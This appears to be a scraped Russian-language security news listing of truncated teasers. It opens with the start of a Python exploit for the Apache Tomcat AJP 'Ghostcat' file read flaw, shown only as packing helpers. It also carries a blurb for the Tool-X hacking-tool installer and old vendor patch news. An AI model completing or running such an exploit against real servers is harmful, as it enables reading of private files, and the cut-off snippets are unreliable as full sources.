Apache Tomcat - AJP 'Ghostcat File Read/Inclusion

#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return...

Tool-X — установщик инструментов взлома Kali Linux

Что такое Tool-X? Tool-X является установщиком хакерского инструмента kali linux. Tool-X разработан Раджкумаром Дусадом. С помощью Tool-X вы можете установить лучшие инструменты для взлома на устройствах с Android с root или без рута. В Tool-X доступно почти 240 хакерских утилит для приложения termux и терминала Debian GNURoot. Вы можете установить любой инструмент одним щелчком мыши. Tool-X специально разработан для Termux и GNURoot Debian Terminal. Теперь Tool-X доступен для Ubuntu.Как пользоваться...

Microsoft начинает третье масштабное обновление сервисов Windows Live

На текущей неделе корпорация Microsoft начинает очередное, уже третье по счету, постепенное обновление сервисов семейства Windows Live. Обновляться будут как онлайновые компоненты, так и клиентский софт, предназначенный для скачивания на локальные компьютеры пользователей. Среди сервисов, которые затронут обновления называются Windows Live Skydrive, Windows Live Spaces и другие, однако самым первым будет обновлен Windows Live Hotmail, новая версия которого появится уже на этой неделе. По словам...

Apple выпустила MacOS X 10.5.5

Apple сегодня выпустила пятое кумулятивное обновление для операционной системы MacOS X 10.5 Leopard. Выпущенный патч занимает более 130 мегабайт и по большей части представляет собой работу над ошибками - компания закрыла свыше 30 уязвимостей в самой ОС и прикладном софте, поставляющимся с системой. Скачать как серверный, так и клиентский апдейт можно с сайта компании, либо через штатную систему обновлений операционной системы. Одним из главных и основных пунктов 10.5.5 стало запоздавшее исправление...

Apple сегодня выпускает программное обеспечение iPhone 2.1

Компания Apple сегодня выпускает первое масштабное обновление программного обеспечения для смартфона iPhone. Версия 2.1 должна устранить 8 уязвимостей в безопасности, а кроме того, повысить стабильность ОС и устранить проблему сброса звонков, о которой ранее сообщалось многими пользователями. Также новая версия мобильной ОС должна значительно ускорить процесс создания архивных копий пользовательских данных со смартфонов на серверах Apple, быстрее загружать контакт-листы, а также надежнее работать...

Microsoft заделала дыры в Windows и Internet Explorer

Корпорация Microsoft во вторник, 10 июня выпустила очередную порцию заплаток для дыр в операционных системах Windows и браузере Internet Explorer. Всего в этом месяце Microsoft опубликовала семь бюллетеней безопасности, три из которых содержат описания критических уязвимостей. Одна из таких дыр выявленав реализации поддержки беспроводной связи Bluetooth программных платформ Windows. Злоумышленник путем отправки жертве большого количества специально сформированных пакетов данных за короткий интервал...